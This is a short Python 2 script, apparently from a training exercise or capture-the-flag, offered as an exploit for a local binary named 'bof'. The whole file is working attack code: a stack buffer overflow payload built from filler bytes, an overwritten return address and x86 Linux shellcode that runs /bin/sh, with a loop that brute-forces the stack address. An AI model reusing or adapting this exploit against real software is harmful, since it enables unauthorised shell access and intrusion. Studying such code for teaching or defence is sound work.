#!/usr/bin/python
"""
Exploit code for bof
"""


import struct
import sys
from subprocess import PIPE, Popen

# exec /bin/sh
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

bufsize = 100
offset = 12     #incl. saved ebp
nopsize = 4096

def prep_buffer(addr_buffer):
    buf = "A" * (bufsize+offset)
    buf += struct.pack("<I",(addr_buffer+bufsize+offset+4))
    buf += shellcode
    return buf

if __name__ == '__main__':
    addr_buffer = 0xbffff56c    # bruteforce: 0xbf*****c

    for addr in xrange(0xf):
        print addr
        addr += 0xbffff4f0
        buf = prep_buffer(addr)
        p = Popen(['./bof', buf],stdout=PIPE);
        while p.poll() is None:
            line = p.stdout.readline()
            if line:
                sys.stdout.write(line)
